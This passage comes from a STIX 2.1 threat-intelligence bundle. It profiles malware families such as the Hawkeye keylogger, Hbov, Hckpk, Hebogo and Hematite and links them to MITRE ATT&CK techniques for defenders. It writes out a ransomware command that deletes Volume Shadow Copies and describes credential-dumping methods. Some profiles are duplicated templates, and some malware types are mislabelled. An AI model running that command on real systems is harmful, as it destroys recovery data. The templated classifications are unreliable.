      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0f05ec64-441d-562c-9482-89c2d9695655",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bcc509b5-0c35-5576-9861-c60e76108bae",
      "target_ref": "attack-pattern--d7bd29aa-86c7-5903-8cae-4f2aef4d2e59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hawkeyekeylogger exhibits technique T1115 (Clipboard Data)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ae2760b4-c1fb-58a7-8011-8d031da11fa1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bcc509b5-0c35-5576-9861-c60e76108bae",
      "target_ref": "attack-pattern--5f1029ec-51c9-5060-9e14-dda97d706dfd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hawkeyekeylogger exhibits technique T1071.003 (Mail Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d2acb7f8-c30c-530e-a314-a5abbf3b5e8d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bcc509b5-0c35-5576-9861-c60e76108bae",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hawkeyekeylogger exhibits technique T1547.001 (Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c3e4f699-5840-5836-9763-3edaa009dc4e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bcc509b5-0c35-5576-9861-c60e76108bae",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hawkeyekeylogger exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--afa073cc-bf3b-5192-b552-bc05297807d7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bcc509b5-0c35-5576-9861-c60e76108bae",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hawkeyekeylogger exhibits technique T1041 (Exfiltration Over C2 Channel)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9ae0ce43-1aee-5c40-9f1e-c70fe46e065a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hbov",
      "description": "Trojan:Win32/Hbov is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Hbov</b><br>To an end-user, a Hbov infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Hbov is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Hbov is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Hbov frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Hbov reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hbov",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hbov"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d5521775-65b0-547a-8f94-7769768efe81",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ae0ce43-1aee-5c40-9f1e-c70fe46e065a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hbov exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--56d12bbe-f2f4-5e1d-b7a3-fb5611aed064",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ae0ce43-1aee-5c40-9f1e-c70fe46e065a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hbov exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3a1a2502-0930-5d59-bb6e-b04485821651",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ae0ce43-1aee-5c40-9f1e-c70fe46e065a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hbov exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--95923a9f-27e5-52f8-ada2-e04064ad0e69",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ae0ce43-1aee-5c40-9f1e-c70fe46e065a",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hbov exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--31653a60-d14f-5cd3-b702-f110627f1269",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ae0ce43-1aee-5c40-9f1e-c70fe46e065a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hbov exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--87e24cf3-d18c-5f89-95a1-a7fa06eecb75",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hc4Cakjs5Bhi",
      "description": "Trojan:Win32/Hc4cakjs5bhi (or similar auto-generated strings) represents the antivirus industry's response to highly polymorphic malware or Domain Generation Algorithms (DGA). Instead of a named family, this string is a generic, randomized identifier assigned by an AV engine to a threat that is rapidly shifting its signature to evade detection (`T1027`). This indicates the presence of a sophisticated dropper or a botnet agent actively communicating with shifting C2 infrastructure.<br><br><b>Understanding Polymorphic/DGA Identifiers</b><br>To an end-user, the file is simply blocked. For a SOC analyst, a detection with a randomized name like 'Hc4cakjs5bhi' is a signal that static IOCs (like file hashes) will be nearly useless for hunting. The attacker is using automated tools to recompile the malware for every victim, or using DGA to contact thousands of different domains a day.<br><br><b>Execution and Polymorphic Mechanics</b><br>When executed, polymorphic threats unpack themselves dynamically in memory (`T1027.002`). They often inject their code into legitimate processes (like `svchost.exe`) (`T1055`) to hide their activity. If the threat utilizes DGA (`T1568.002`), it uses a mathematical algorithm to generate hundreds of potential C2 domain names. The malware attempts to connect to these domains until it finds one that the attacker has actually registered and activated for that day's operations, making IP/Domain blacklisting highly ineffective.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the payload the polymorphic dropper intends to deliver (ransomware, infostealers, etc.). Host-based IoCs must focus on behavior: EDR alerts for process injection, anomalous child process spawning, or rapid creation/deletion of temporary files. Network IoCs are characterized by the malware generating a massive volume of DNS requests for non-existent, randomly generated domains (NXDOMAIN responses), mixed with a few successful connections. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hc4Cakjs5Bhi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hc4cakjs5bhi"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--24a22f7b-c0e7-52eb-bb5d-df460d2b71ba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87e24cf3-d18c-5f89-95a1-a7fa06eecb75",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hc4Cakjs5Bhi exhibits technique T1027 (Obfuscated Files or Information (Polymorphism used to evade static signatures))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9cbbb8dd-d39a-5201-9b67-b0f67bb3fd97",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87e24cf3-d18c-5f89-95a1-a7fa06eecb75",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hc4Cakjs5Bhi exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--db79c723-2feb-53e3-931c-e7c3970e5c98",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87e24cf3-d18c-5f89-95a1-a7fa06eecb75",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hc4Cakjs5Bhi exhibits technique T1055 (Process Injection (Hiding the unpacked, malicious code inside legitimate processes))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b99e6d5e-efa7-5515-8cee-91c5bc00b1ec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hckpk",
      "description": "HackTool:Win32/Hckpk is a generic detection classification used for various **HackTools and Password Crackers**. These are technically dual-use utilities; they can be used legitimately by penetration testers and red teams to audit security, but they are frequently deployed by malicious threat actors during the lateral movement phase of an attack to harvest credentials and escalate privileges.<br><br><b>Understanding HackTools (Hckpk)</b><br>To a standard user, these tools are never seen. For a SOC analyst, detecting a 'HackTool' alert on a standard employee workstation is a massive red flag. It almost certainly indicates that an attacker has already bypassed perimeter defenses, gained initial access, and is now actively attempting to compromise administrative accounts or move laterally across the network.<br><br><b>Execution and Credential Harvesting Mechanics</b><br>Threat actors deploy Hckpk tools (which may include custom scripts, Mimikatz variants, or hash dumpers) after establishing a foothold (`T1105`). These tools often require administrative or SYSTEM privileges to function effectively (`T1068`). Once executed (`T1204.002`), the tools perform actions such as dumping the SAM (Security Account Manager) database (`T1003.002`), extracting plaintext passwords or NTLM hashes from LSASS (Local Security Authority Subsystem Service) memory (`T1003.001`), or executing brute-force attacks against local network services (`T1110`). The stolen credentials are then used to forge Kerberos tickets (Pass-the-Ticket) or directly authenticate to other servers (Pass-the-Hash) (`T1550.002`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is rapid privilege escalation and lateral movement, potentially leading to total domain compromise. Host-based IoCs include EDR alerts for anomalous processes attempting to read the memory space of `lsass.exe`, unauthorized access to the `SAM` registry hive, or the execution of known hacking tools (even if renamed). Network IoCs include sudden bursts of SMB or RDP traffic originating from a compromised workstation to multiple servers, indicating lateral movement using harvested credentials. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hckpk",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hckpk"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c899f563-0c6a-53b6-802d-67e39d52ee8b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b99e6d5e-efa7-5515-8cee-91c5bc00b1ec",
      "target_ref": "attack-pattern--c1cad0be-7101-5b46-889b-71b19f414675",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hckpk exhibits technique T1003.001 (OS Credential Dumping: LSASS Memory)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--c3a4d6d4-acb6-500e-bd8f-3225d1decb74",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1003.002: OS Credential Dumping: Security Account Manager (SAM)",
      "description": "MITRE ATT&CK Technique T1003.002 (OS Credential Dumping: Security Account Manager (SAM)) under tactic Credential Access.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1003.002",
          "url": "https://attack.mitre.org/techniques/T1003/002/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--feaa0544-5a9d-5a97-9619-9f7c8bdedd2c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b99e6d5e-efa7-5515-8cee-91c5bc00b1ec",
      "target_ref": "attack-pattern--c3a4d6d4-acb6-500e-bd8f-3225d1decb74",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hckpk exhibits technique T1003.002 (OS Credential Dumping: Security Account Manager (SAM))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--9c23493e-0de7-59a2-8e1c-b8b175ca625b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1550.002: Use Alternate Authentication Material: Pass the Hash",
      "description": "MITRE ATT&CK Technique T1550.002 (Use Alternate Authentication Material: Pass the Hash) under tactic Lateral Movement.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1550.002",
          "url": "https://attack.mitre.org/techniques/T1550/002/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7b85b471-8d1d-5a08-8a17-6e96e47a2278",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b99e6d5e-efa7-5515-8cee-91c5bc00b1ec",
      "target_ref": "attack-pattern--9c23493e-0de7-59a2-8e1c-b8b175ca625b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hckpk exhibits technique T1550.002 (Use Alternate Authentication Material: Pass the Hash)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--474fe339-89a4-57df-bef7-d439dbda1800",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b99e6d5e-efa7-5515-8cee-91c5bc00b1ec",
      "target_ref": "attack-pattern--a3b1cbba-cac7-5f53-b134-6cfe2a13b053",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hckpk exhibits technique T1068 (Exploitation for Privilege Escalation)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0afa10af-1131-5fc8-b5d6-ee1f616ad51d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Headache",
      "description": "Trojan:Win32/Headache is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Headache</b><br>To an end-user, a Headache infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Headache is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Headache is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Headache frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Headache reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Headache",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/headache"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f4cf1289-2d8f-5fab-b859-f13ea1291a49",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0afa10af-1131-5fc8-b5d6-ee1f616ad51d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Headache exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--66b82dca-bdbf-57b9-be10-2824eeb8579d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0afa10af-1131-5fc8-b5d6-ee1f616ad51d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Headache exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5d0c4a79-d86d-5d0d-844f-f2913c47a627",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0afa10af-1131-5fc8-b5d6-ee1f616ad51d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Headache exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--010ad572-26b9-5c83-a9b2-a9c1e4285ac6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0afa10af-1131-5fc8-b5d6-ee1f616ad51d",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Headache exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--206d8c0f-59c1-5499-aa5e-516ad1ffaae0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0afa10af-1131-5fc8-b5d6-ee1f616ad51d",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Headache exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8f98c4b0-1269-5169-aabf-8e7ad23a5b97",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hebogo",
      "description": "Hebogo (classified across antimalware engines and threat intelligence feeds under signatures including Ransom:Win32/Hebogo, Trojan-Ransom.Win32.Hebogo, and Trojan.Hebogo) is a crypto-ransomware and extortion threat active since 2016. Delivered through phishing emails containing weaponized office attachments, malicious torrents, and compromised software installers, Hebogo executes rapid local discovery before deploying destructive encryption routines. Hebogo scans fixed, removable, and mapped network drives, searching for user documents, spreadsheets, databases, and media files, encrypting them using strong AES-256 encryption. It deletes Volume Shadow Copies (vssadmin delete shadows /all /quiet) to prevent system restoration, alters desktop wallpaper to an extortion notice, and drops ransom instructions demanding Bitcoin payment in exchange for a private decryption key. (Observed samples in benchmark: 31)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Hebogo",
        "Trojan-Ransom.Win32.Hebogo",
        "Trojan.Hebogo",
        "Win32/Hebogo",
        "Ransom:Win32/Hebogo.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hebogo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hebogo"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--10600f0c-dbe3-50c6-99d9-0f8a30f09282",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Helper",
      "description": "Adware/PUP:Win32/Helper is a generic classification for potentially unwanted programs that disguise themselves as legitimate 'assistant' or 'helper' applications, often as browser extensions. While masquerading as a tool to improve search results or download videos, its actual function is to aggressively monetize the user's web traffic by injecting advertisements and redirecting searches (`T1189`).<br><br><b>Understanding 'Helper' PUPs</b><br>To an end-user, Helper degrades the browsing experience. Legitimate search engines like Google are silently replaced with low-quality, ad-heavy search portals. For an IT department, these 'helpers' are a security and compliance risk, as they track user browsing history and often expose the endpoint to malvertising networks.<br><br><b>Execution and Hijacking Mechanics</b><br>Helper is frequently distributed via Pay-Per-Install (PPI) networks, bundled inside the installers of 'free' software (like PDF converters or media players). Upon execution, it installs itself as a browser extension (Chrome, Edge, Firefox). It establishes persistence by modifying browser policy registry keys (`T1562.001`) to enforce the extension's presence, preventing the user from removing it via the standard browser interface. It may also install a background Windows Service (`T1543.003`) to monitor and reinstall the extension if deleted.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is privacy violation and degraded system performance. Host-based IoCs include the presence of unwanted extensions (often requiring checking `chrome://extensions` or `edge://extensions`), unauthorized modifications to `HKLM\\SOFTWARE\\Policies\\Google\\Chrome\\ExtensionInstallForcelist`, and background processes running from `%AppData%` or `%ProgramFiles(x86)%` that monitor browser activity. Network IoCs include a constant stream of HTTP/HTTPS requests to known affiliate marketing or adware tracking domains. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Helper",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/helper"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--20fa2dcb-f238-52d8-9f85-be58b0bbd3b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10600f0c-dbe3-50c6-99d9-0f8a30f09282",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Helper exhibits technique T1189 (Drive-by Compromise (Distribution via deceptive software bundles))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c0bc97fe-7116-5ba6-9e09-2d18015be602",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10600f0c-dbe3-50c6-99d9-0f8a30f09282",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Helper exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Modifying browser policies to lock the extension))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b24dc563-64aa-5c34-b977-3da11bbadf13",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10600f0c-dbe3-50c6-99d9-0f8a30f09282",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Helper exhibits technique T1176 (Browser Extensions (Installing malicious add-ons to inject ads and steal data))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--73437fb3-bfb4-5b4e-9b0a-c9a14a281b86",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hematite",
      "description": "Hematite (tracked across threat intelligence feeds as Win.Virus.Hematite, Trojan.Hematite, and Trojan:Win32/Hematite!rfn) is a dual-capability Windows file infector and trojan loader documented by Cisco Talos and Microsoft Defender. The malware is engineered to systematically scan compromised local storage drives and mounted network shares for portable executable (.exe) files. Upon identifying candidate binaries, Hematite appends an encrypted shellcode block\u2014typically around 3,000 bytes\u2014to the final PE section and modifies the Optional Header's AddressOfEntryPoint to redirect initial process execution into the malicious shellcode. After running its payload in memory, Hematite jumps back to the original entry point (OEP), allowing the host program to launch normally to evade user suspicion. Beyond parasitic infection, Hematite acts as a modular stager, initiating outbound HTTP beaconing to download secondary banking trojans, information stealers, and ransomware loaders onto infected enterprise endpoints. (Observed samples in benchmark: 616)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Win.Virus.Hematite",
        "Trojan.Hematite",
        "Trojan:Win32/Hematite!rfn",
        "Virus:Win32/Hematite.A",
        "Win32/Hematite"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hematite",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hematite"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3d470b1b-903f-55f7-8e23-61af9f8eef76",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
